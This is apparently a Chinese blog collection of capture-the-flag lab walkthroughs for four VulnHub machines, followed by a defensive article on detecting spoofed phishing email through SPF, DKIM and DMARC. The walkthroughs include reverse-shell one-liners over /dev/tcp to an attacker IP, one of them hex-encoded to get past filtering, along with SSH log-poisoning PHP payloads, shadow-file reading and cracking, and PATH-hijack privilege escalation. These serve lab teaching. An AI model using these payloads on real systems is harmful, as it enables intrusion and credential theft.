HARRYPOTTER : ARAGOG

修复靶机IP问题

不知道为什么每次Debian的靶机IP都出问题,在这先修复一下

image.png

将图中ro修改成rw signie init=/bin/bash

修改完成后按Ctrl+x键进入bash

先查看当前网卡信息ip a命令

image.png

查看网卡配置文件vi /etc/network/interfaces

image.png

可以看到当前网卡内网卡的名称与实际靶机网卡名称不匹配,看到这里我们就知道是什么原因导致的了。将网卡名称修改为正确的名称,保存退出。

/etc/init.d/networking restart

执行ip a 重新查看

image.png

靶机描述

Aragog is the 1st VM of 3-box HarryPotter VM series in which you need to find 2 horcruxes hidden inside the machine (total 8 horcruxes hidden across 3 VMs of the HarryPotter Series) and ultimately defeat Voldemort.

Aragog 是 3 盒 HarryPotter VM 系列中的第一个 VM,您需要在其中找到隐藏在机器内的 2 个魂器(哈利波特系列的 3 个 VM 中总共隐藏了 8 个魂器)并最终击败 Voldemort。

信息搜集

目标确认

攻击机kali IP:192.168.93.131

靶机 Debian IP:192.168.93.136

靶机信息搜集

image.png

22端口 & 80端口

image.png

目录扫描

image.png

有一个/blog,看一下,很明显wordpress

image.png

image.png

发现域名 wordpress.aragog.hogwarts/etc/hosts 文件中添加再访问:

image.png

WordPress有专门的漏扫工具WPScan

image.png

但是。。。WPScan现在必须带上--api-token=才能正常扫描漏洞,VPN坏了翻不了墙申请不了token。。。

先借用人家的:

image.png

发现有个远程代码执行漏洞,CVE-2020-25213。

漏洞利用

下载poc

wget https://ypcs.fi/misc/code/pocs/2020-wp-file-manager-v67.py

cat出来看一下用法

image.png

  1. apt-get 安装 python3-requests
  2. 写一个文件名为payload.php 的反弹shell的文件
  3. python3 2020-wp-file-manager-v67.py http://wordpress.aragog.hogwarts/blog/

Kali自带php反弹shell的脚本,我们把它复制到当前文件夹下,并改名为payload.php

image.png

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.93.131';
$port = 2333;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id;sh -i';
$daemon = 0;
$debug = 0;

image.png

image.png

提权

进入系统后,首先我查看了 /home 目录,在 hagrid98 用户下发现了 horcrux1.txt:

image.png

这个一看应该就是base64了吧

image.png

之后我想找一下 wordpress 的配置文件,找一下数据库的用户名密码,查看数据库中有没有可利用信息,wordpress 的配置文件默认命名为 wp-config.php ,find 查找一下:

image.png

查看/etc/wordpress/config-default.php

image.png

登录数据库,首先得获取一个tty shell,不然看不到mysql的输出

python -c 'import pty; pty.spawn("/bin/sh")'

image.png

image.png

找到 hagrid98 用户的密码hash。尝试解密:

image.png

可以去cmd5查一下,也可以去john爆破

image.png

然后我们就能切换用户 hagrid98 用户。

image.png

发现root执行了个 .backup.sh 脚本,既然 root 运行这个脚本,那就写入一个反弹 shell:

image.png

image.png

直接得到了root权限,查看horcrux2.txt

image.png

image.png

提权方法2

有一个辅助提权工具https://github.com/Cerbersec/scripts.git

首先在kali上下好linpeas,在靶机ssh终端下把它复制到/tmp文件夹下

scp kali@192.168.93.131:/home/kali/scripts/linux/linpeas.sh /tmp

image.png

chmod +x ./linpeas.sh
./linpeas.sh

image.png

这里找到一个backup.sh。这个脚本负责复制这个uploads到tmp里面。属于那种隔段时间就会执行的脚本。

用同样的方法下载pspy64看一下执行这个脚本的用户。

chmod +x ./pspy64
./pspy64

image.png

剩下的就和第一个方法相同了。

CORROSION : 2

靶机描述

Difficulty: Medium

Hint: Enumeration is key.

信息搜集

确认目标

攻击机kali IP:192.168.93.131

靶机IP:192.168.93.135

image.png

靶机信息搜集

image.png

目录扫描

image.png

80端口下没有什么有价值的信息。

8080是Apache Tomcat/9.0.53

image.png

image.png

东西不少,看一下:

readme.txt

image.png

嘿 randy!我是你的系统管理员。我在你的服务器上留下了一个文件,我保证没人能找到它。

要记得使用我留给你的密码。

/backup.zip

image.png

攻击开始

登录信息

需要密码?那就爆破一下

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u backup.zip

image.png

很幸运在tomcat-users.xml中就能找到登录信息

image.png

但是。。。Tomcat不让登录。。。

image.png

Msfconsole利用

msf 上有个 Tomcat 上传webshell的模块,有用户名和密码就可以使用:

image.png

选择载荷,设定信息:

image.png

一发入魂,直接打通:

image.png

输入 shell 后就获得了 Tomcat 用户,查看一下系统文件,发现/home目录下有一些信息

image.png

note.txt 文件里说更改了 randy 对主目录的权限,不能进行删除和添加。

尝试切换用户jaye,密码还是 Tomcat 密码,如果不方便的话,可以用ssh连接登录

image.png

发现一些文件,查看一下,发现 Files 文件夹下有个 look 文件:

image.png

  • 系统look命令:It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

    它从文件中读取数据,它可用于进行特权读取或在受限文件系统之外公开文件。

用法:

LFILE=file_to_read
./look '' "$LFILE"

image.png

利用这种方法,可以获取到/etc/shadow,把文件复制下来保存,/etc/passwd也可以在MSF中拿到。

image.png

使用 unshadow 命令生成需要破解的密码:

unshadow passwd shadow > pass.txt

利用john进行破解

john --wordlist=/usr/share/wordlists/rockyou.txt ./pass.txt

image.png

image.png

爆破了好几个小时,爆出来两个用户:

  • melehifokivai (jaye)
  • 07051986randy (randy)

第一个是已知的,登录下第二个:

image.png

提权

image.png

发现不能更改该文件,但是他会用python程序运行,我们直接在python程序 base64 模块里面写入shell,先找到python中的base64脚本:

image.png

发现有权限修改,那我们直接写入shell,vim用不了,用的nano编辑器:

image.png

image.png

因为我改的是 python3.8 ,所以要指明 python3.8 运行 randombase64.py 脚本:

image.png

获得了root权限,查看flag:

image.png

CORROSION : 1

靶机描述

Difficulty: Easy

A easy box for beginners, but not too easy. Good Luck.

Hint: Enumerate Property.

信息搜集

目标确认

攻击机Kali:192.168.93.131

目标靶机 Ubuntu:192.168.93.134

image.png

靶机信息搜集

image.png

开放22端口 & 80端口

image.png

目录扫描

gobuster dir -u http://192.168.93.134 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php

image.png

· tasks目录

image.pngimage.png

需要完成的任务

  1. 更改权限
  2. 更改端口22 -> 7672
  3. 建立Phpmyadmin

· blog-post目录

image.png

image.png

利用:利用ssh日志写入shell

image.png

打开以后什么也没有,盲猜一手SSRF,路径可以数一下,参数可以爆破出来,但这个地方我是猜的:

image.png

image.png

利用成功,这个地方我们可以去尝试先去读取之前提到的/var/log/auth.log

image.png

发现会记录ssh登录的所有活动,那我们可以尝试添加恶意PHP代码作为用户名,该代码将从用户输入并执行命令。通常称为日志中毒。

sudo ssh '<?php system($_GET['cmd']);?>' @192.168.93.134

image.png

image.png

后面这些应该就是我们测试ssh登陆的数据

测试一下有没有写入shell

http://192.168.93.134/blog_post/archives/randylogs.php?file=../../../../../../var/log.auth.log&cmd=ifconfig

image.png

成功写入,我们可以弹个shell

bash -c 'bash -i >& /dev/tcp/192.168.93.131/2333 0>&1'

URL编码一下

bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F192%2E168%2E93%2E131%2F2333%200%3E%261%27

image.png

反弹成功

提权

本来想找第一个flag,后来发现根本没有权限

image.png

但是在var/backups目录下发现了user_backups.zip,想办法外带出来,可以用nc

cat user_backup.zip > /dev/tcp/192.168.93.131/1234
nc 1234 > user_backup.zip

image.png

压缩包有密码。爆破一下:PW == !randybaby

解压出来查看压缩包

image.pngimage.png

得到ssh密码:randylovesgoldfish1998,结合randy直接连接:

image.png

image.png

什么TMD叫TMD惊喜?权限还是不够。。。

先看一下当前目录下的权限

image.png

image.png

查看权限发现并不能改,那就用之前的方法,本地编辑 cat 文件,写入 shell:

echo 'chmod +s /bin/bash' > cat
chmod 777 cat
export PATH=/home/randy/tools:$PATH
./easysysinfo
/bin/bash -p

image.png

image.png

成功获取到 root,在 /root 下发现了flag:

image.png

并且还在 /root/creds 下发现了 root 密码:

image.png

THE PLANETS:EARTH

靶机描述

Earth is an easy box though you will likely find it more challenging than "Mercury" in this series and on the harder side of easy, depending on your experience. There are two flags on the box: a user and root flag which include an md5 hash. This has been tested on VirtualBox so may not work correctly on VMware. Any questions/issues or feedback please email me at: SirFlash at protonmail.com, though it may take a while for me to get back to you.

信息搜集

目标确定

攻击机IP:192.168.93.131

image.png

靶机IP:192.168.93.132

arp-scan -l

image.png

靶机信息搜集

nmap扫描一下

nmap -A -p 1-65535 192.168.93.132

image.png

有几个比较注意的点,80端口开启,但是状态400;22端口开启,有ssh服务,可以考虑ssh爆破公钥;443端口开启,有DNS解析,我们在/etc/hosts文件中添加DNS解析:

vim /etc/hosts

image.png

earth.local信息搜集

image.png

我们先不用管页面,先去扫一下路径

image.png

同理去看一下https://terrateset.earth.local

image.png

有几个敏感信息,查看一下

第一个flag

这个地方我们先去看一下https://terratest.earth.local/robots.txt

image.png

有一个不知名格式文件,盲猜一手txt,访问:

image.png

测试安全消息传递系统说明:
* 使用XOR加密作为算法,在RSA中使用应该是安全的。
* 地球已经确认他们已经收到我们发送的消息。
* testdata.txt用于测试加密。
* terra用作管理门户的用户名。

目标:
* 我们如何将每月的钥匙安全地送到地球?还是每周换一次钥匙?
* 需要测试不同的密钥长度以抵御爆破。密钥应该多长?
* 需要改进消息接口和管理面板的接口,这是目前非常基本的问题。

结合之前主页面的Previous Message,梳理一下上面这两段话的提示:

  1. 加密算法:XOR,并且之前的信息已经发送成功。
  2. testdata.txt应该是密钥文件
  3. terra是管理用户的用户名

好了,意思很明显了,先去看一下testdata.txt

image.png

编写XOR脚本:

import binascii
data1 = " "#这个地方填写Previous Message
f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode()
print(hex(int(data1,16) ^ int(f,16)))

运行结果是十六进制,需要16进制转文本解密一下

image.png

这个应该就是管理员的密码,重复了好几遍

·用户名:terra

·密 码:earthclimatechangebad4humans

  • earth.local/admin直接登录

    image.png

发现可以执行系统命令,那我们可以尝试直接从这里找第一个flag

find / -name "*flag.txt"

image.png

直接cat出来

image.png

提权

反弹shell

一个靶机应该是有两个flag,一个普通用户权限,一个root权限。查看一下当前权限:

image.png我们尝试弹个shell

bash -i >& /dev/tcp/192.168.93.131/2333 0>&1

但是不行。。。看了wp才知道需要对IP进行16进制绕过:

bash -i >& /dev/tcp/0xc0.0xa8.0x5d.0x83/2333 0>&1

image.png成功

提权

查找有权限的命令:

find / -perm -u=s -type f 2>/dev/null

image.png

可以尝试走reset_root这条路,运行尝试一下:

image.png

CHECKING IF RESET TRIGGERS PRESENT...
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.

检查是否存在重置触发器...
重置失败,所有触发器都不存在。

看一下这个命令

image.png

本地没有调试的命令,使用nc传送到本地调试一下

nc -nlvp 2223 >reset_root
nc 192.168.93.131 2223 < /usr/bin/reset_root

image.png

使用 strace 命令进行调试

image.png

access("/dev/shm/kHgTFI5G", F_OK)       = -1 ENOENT (没有那个文件或目录)
access("/dev/shm/Zw7bV9U5", F_OK)       = -1 ENOENT (没有那个文件或目录)
access("/tmp/kcM0Wewe", F_OK)           = -1 ENOENT (没有那个文件或目录)

在靶机中创建这三个文件:

sudo touch /dev/shm/kHgTFI5G
sudo touch /dev/shm/Zw7bV9U5
sudo touch /tmp/kcM0Wewe

然后再靶机中尝试运行reset_root:

image.png

image.png

成功提权,并且可以获取root_flag.txt

image.png

HVV蓝队–钓鱼邮件

前言

这篇文章不是写如何做一份钓鱼邮件,是打算从蓝方角度思考一下,如何防范钓鱼邮件攻击并进行识别。

希望以后红队大佬轻点打。

SMTP

讲邮件伪造,就必须要先说一下SMTP协议

image.png

SMTP被设计基于以下交流模型:当用户需要发邮件时候,邮件发送者(Sender-SMTP)建立一个与邮件接收者(Receiver-SMTP)通信的通道,发送者发送SMTP命令给接收者,接收者收到后对命令做回复。通信通道被建立后,发送者发送 MAIL 命令来指定发送者的邮件,如果接受者接收这个邮件,就回复 OK ,接着发送者发送 RCPT命令来指定接收者的邮箱,如果被接收同样回复OK,如果不接受则拒绝(不会终止整个通话)。接收者邮箱确定后,发送者用DATA命令指示要发送数据,并用一个. 结束发送。如果数据被接收,会收到OK ,然后用QUIT结束会话。

Swaks邮件伪造

image.png

Kali中内置了钓鱼邮件工具swaks里面有很重要的一点,就是Sender-smtp,发件人。如果我伪造如admin@qq.com发送一封邮件,发件人是admin@qq.com,对方收到以后怎么判断我这个发件人是不是真实的呢?

答案就是SPF记录,SPF的全称是Sender Policy Framework,是为了防范垃圾邮件而提出来的一种 DNS 记录类型,是一种 TXT 类型的记录,用于登记某个域名拥有的用来外发邮件的所有 IP 地址。

使用TXT记录已经不被推荐,但是有些DNS服务器并未针对SPF类型的记录进行实现,考虑到兼容性的问题,一个合规的SPF记录应该同时具备SPF记录和TXT记录,如下所示:

example.com. IN TXT "v=spf1 +mx a:colo.example.com/28 -all"
example.com. IN SPF "v=spf1 +mx a:colo.example.com/28 -all"

我们可以通过nslookup -q=txt qq.com找到QQ邮箱服务器的IP地址,这样收件人收到一封来自QQ的邮件后,若开起了SPF检验,他会检验发件人是否在上面的IP地址内,如果存在就认为是真的发件人,否则就是钓鱼邮件

image.png

我伪造的我的qq邮箱,这里就是失败了,返回550 SPF check failed,这个原因就是发信IP未被发送域的SPF许可

利用H-from进行中转

若发件人配置了DNS的txt记录,并且收件人开启了SPF检验,那我们是不是就不能伪造邮件了?当然不是,有一个办法是可以实现突破的,H-FromH-From类似各种监控设备的告警机制,配置一个发件邮件,网络或安全设备有告警之后就自动发送过去。常用的这种是需要认证的,如QQ的中转,

image.png

不同客户端对H-From的处置

  • QQ邮箱web版 显示代发人
  • QQ邮箱手机版 不显示代发人

加固

配置DNS的TXT记录

对于使用邮件服务器的用户需要在DNS中配置TXT记录,指明相关的邮箱服务器的IP地址,这样,对方若开启SPF检测,收到相关的邮件以后,会通过DNS查询的方式来查询发件人声明的IP地址。

开启SPF校验

这个主要是对于收件人来说的,当收件人收到一封邮件以后若想校验发件的是否是伪造的,可以通过开启SPF校验这种方式通过DNS查询发件人的IP地址然后再去和发件人的IP地址比对,若匹配或包含则通过SPF校验。

DKIM(感谢密码👴)

主要用来保证邮件的完整性,避免钓鱼。这种技术本质上是采用了RSA算法实现数字签字,既使用私钥加密,公钥解密。DKIM会对邮件头及正文进行签名,没有私钥下,邮件被假冒或篡改后,就会与邮件头签名不一致,从而防止这样的情况

  • 使用RAS算法生成一对公私钥。
  • 将私钥放到邮件服务器上,对发送的邮件使用私钥进行加密。私钥只有邮件服务器的管理者有。
  • 公钥通过DNS的TXT类型将相应的公钥同步到DNS中,收件人收到以后通过DNS这种方式就可以查询到相应的加密算法和相关的公钥。

image.png

DMARC

DMARC是基于SPF和DKIM协议的可扩展电子邮件认证协议,通常情况下 它与SPF或DKIM结合使用,并告知收件方服务器当未通过SPF或 DKIM检测时该如何处理。

image.png